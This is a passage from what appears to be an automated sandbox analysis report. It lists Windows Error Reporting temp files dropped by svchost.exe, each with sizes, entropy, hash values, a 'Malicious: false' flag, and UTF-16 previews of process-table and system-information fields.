Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C4.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6992681668231193
Encrypted:	false
SSDEEP:	96:TiZYWvbI7CZYjYyh5GHoYEZFZ/tFiK+oSLw42PAO7a/nfM/YRIkeG:2ZDvFEPZw2Ba/nfM/YOkeG
MD5:	D48F76F3EF354AE4F445AB771098179B
SHA1:	110FE4685AAE4F04569B28D78296ECDDD082D68E
SHA-256:	D429369198532BA4D7393DEDEC4CEA1F0573BE2EC8AC5E7D0EB28457DF3A870E
SHA-512:	07FA7ABB12A970C5AF62E5CC814BF7C141E38075934883EDE3859DEAF355D1C0A50619AFE7EEADD1DAF2FA63FE85C248ED083006866C25E0B27C1130C1DFEEB1
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8CAB.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6961441907223693
Encrypted:	false
SSDEEP:	96:TiZYWpJWPxM8Y2YRul3EHAYEZ23tFihMnSkwOeMyawn4MWQYDIaeG:2ZDuBUdiDawn4M/YMaeG
MD5:	FAE66A9BBA777CAFECB72C32F3FF0A82
SHA1:	73197CBC14B6B49821D261B54CDEE79538C8E80C
SHA-256:	9FC3E4EA754708E17E1186D4FC47E7DCFFDF336A6347CD51DDCCAEE9DE38EDE8
SHA-512:	35A6212973188698B3D849E2045F5B0D43B24F8680D025ACE2C8781DFEBFF2177860685206946C9F7CFE7161EB0EF8A6967AF0F94D93FA4237E4FC1D7BAE3D48
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8D39.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.69601044250927
Encrypted:	false
SSDEEP:	96:TiZYW6m18M3YyYIlEaHAYEZiee6tFiVMCSkw4e6CaCnuMmYInIteG:2ZDDFwbJaCnuMmYdteG
MD5:	94B0451B34AA2AC0F82AA76E5847599B
SHA1:	FDA736D5A67C13CB493AB31070A4CEA05E6CA3BE
SHA-256:	65A51BEBA4B2A8FF383171DBCE3935064B63F424E99199CB7BC5B3853FC94F6F
SHA-512:	39B27A82DC455BEE02CBE1157852FD6699F8CA533CB37D3FF278B1182BDC2FB8D8B782FE924E774D1B1A48DAF88E890CECA6D8CA5BF8BAB9DF83A1E1579EE68E
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9170.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	94504
Entropy (8bit):	3.0719855581771607
Encrypted:	false
SSDEEP:	1536:RPbDsPHX8jFCEH2aY/ziG7+RY05+Zj/q5cfe4BPXVUurEe5YZVYJN:RPbDsPHX8jFCEH2aY/ziG7+RY05+Zj/P
MD5:	71A6BF9177AB09CBB1FA6A9DB18A0F16
SHA1:	896D7F1C17B6292F75308F8AE656522F0699119B
SHA-256:	F1BA6E0870DA5355C9B26D8F64EC33E78A0718094F93CC7DF6BB431D732F9549
SHA-512:	968FCC07C1687CB78CD198B6F9E40217348B4625FEBF18C608194E4E9BC8BDE3CCEBF32DC1A0AC587256AA38A49609E2BF2E16BE3D1A52AB87069A66497BF44C
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9643.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95572
Entropy (8bit):	3.0716397398248123
Encrypted:	false
SSDEEP:	1536:zvbsD9KQX3O+q8H2aA4EhE7+RY05+Zj/q5c0bYBeXVUdjYZGZo:zvbsD9KQX3O+q8H2aA4EhE7+RY05+Zjy
MD5:	4E1CC66E69C59341FDB0E27FD1F1D002
SHA1:	226D24BB05FD27B76F4E6F2CDCAC8F8748D86C7C
SHA-256:	60EAF53879797745341A0BA82C67CB20B5B3FCBA3986740E01C719C7070E89A4
SHA-512:	78A587CF138F43B8388536B550C0C4429CDB0549346A7792573B7DF787ED1EB89EEE45416E3A0759028FE111D66379267200877F3D2383E72039861BA934BD91
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER96E0.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695227744954678
Encrypted:	false
SSDEEP:	96:TiZYWWPWTxMYYEYwrlbpZHjYEZN/tFitMuSWwXez5aVnJM6YSXIueH:2ZDztTbwFaVnJM6YbueH
MD5:	EAB7DA5FFF4BBD22674F42F546A62B59
SHA1:	7F10BD697D76C885D23360544ED509B21F783F8B
SHA-256:	E46EBC0E85580C14B78769B87FD27FA71E9A4D73BB2324298BE0F26A4214CCC5
SHA-512:	1C792F3DE7B86FAF2328B243E09E3C840B9748795E22935FB64116B7ED38556A315DC0D66C94FF948970124DC12D3225A2FFB12BA2E6A3E637F31DB5A210CB9E
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER976E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694636234882607
Encrypted:	false
SSDEEP:	96:TiZYWjF2A88M1YsY+lRm2ZHQYEZXEtFiVMfSbLwMed77a+n+MkYSLIGeH:2ZDcLIo9a+n+MkY3GeH
MD5:	27FFE2DD36471A264D4B11291E588288
SHA1:	45CD5F974EF60971F79D7B05D6AE32A2B154012F
SHA-256:	25C88F5DE2A337673BA569785AB668A47827B9FE44ACA26115232A087AFA1D23
SHA-512:	457EE3E10E3D6016658EEAB285F03D9DB9BB6650D9D93D5D2D4131A075D0898A69AF3A9BFB870B51D94AECE716167B9A8D989B26240253AD8802971FFF7B9838
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A1F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95162
Entropy (8bit):	3.0723398224846323
Encrypted:	false
SSDEEP:	1536:J+wD9sM6gO+W1U2atx4E0A7+RY05+Zj/q5c/YBgXVUCPYKXu8PqMBL:J+wD9sM6gO+W1U2atx4E0A7+RY05+ZjR
MD5:	C3D18D9C804836340CB9EDDC73A55968
SHA1:	51700E5A90F51FCFEA947A773550A8C706C4041A
SHA-256:	8700CEE9B5E0A3D22EE8F96D0D89B5FCB7D49485A3B2845357CB18706411CF32
SHA-512:	F5BA1AB8F490A505D7FC6C9B7F4A83574F460024AF9396444B4330C9B7647235AA50329155D48EE2A292277FE8377DCD18B196378EBD0E157DF4269400CD8427
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9ABC.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6954678679779547
Encrypted:	false
SSDEEP:	96:TiZYWhwfP/MFYaYBlRmZZHiYEZaatFi3MbS6twpeeenWSa+nYM9aY+TIHeD:2ZDPdXUkJBSa+nYM9aYDHeD
MD5:	8562DF92A08807617F1C41DF0C3D25EE
SHA1:	7D5BE1C53A602D4B46068167687432EE26FBD716
SHA-256:	EB6CC92BC4F3D0E2CD8BE163814CD2E9796D88908A28097508556F13BE59EF0B
SHA-512:	0315E714D1AA300CE3B8AC433864DCC31D144A29931C837BDF57BEC1B3FE8131AAD722603DC6A07600FEF26561BBD9BD436907F58B49AE8CF941A88B3E785601
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BF.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	102100
Entropy (8bit):	3.0674741164310224
Encrypted:	false
SSDEEP:	3072:2oXOHzWcWCDRjsfroFJ7iX7+RY05+Zj/Itq6M6OTFbNaH6a+h9smZrdAl:U
MD5:	9D82F3BE0A13974DD36CC3588C0F7A7D
SHA1:	0FC53F39A24834E6654D2928B255C3AF81F2587E
SHA-256:	C2504DE49F069F81E2D534F60AD41C2606AB570A98F0409934C80D4B4B84B67E
SHA-512:	1B4F8245FF17BD37753EDE06CFC364731B8D3CDC8E1C79773847D8A5288B1E0742085232BF75E70DF9F327C4DE9F90A0B5F6DFD8327607A630D4CDC1D59F0962
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9EC4.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	95668
Entropy (8bit):	3.071463437802388
Encrypted:	false
SSDEEP:	1536:vuEH9ZXnBO+WV0N4EHZ7+RY05+Zj/ICUaqo87oV4B+8yXhU:vuEH9ZXnBO+WV0N4EHZ7+RY05+Zj/ICG
MD5:	95F4E0FB59645F933E17D51D87E13EDA
SHA1:	CEA9919982105B78807D1ADD89A376C97A970A37
SHA-256:	EDEFBBC28CDB70065F06C116B9546B96E59632F8C2E93906F5AC86E4DD091BCA
SHA-512:	C56B542C045EF11F7A5310C54A828FF03CE0FB475C3BF9BB2270B2E37639261BDE80145A31B3FFDB8EC75C84FB393B40A49D95F08CAFD550A3359567FCD54C87
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a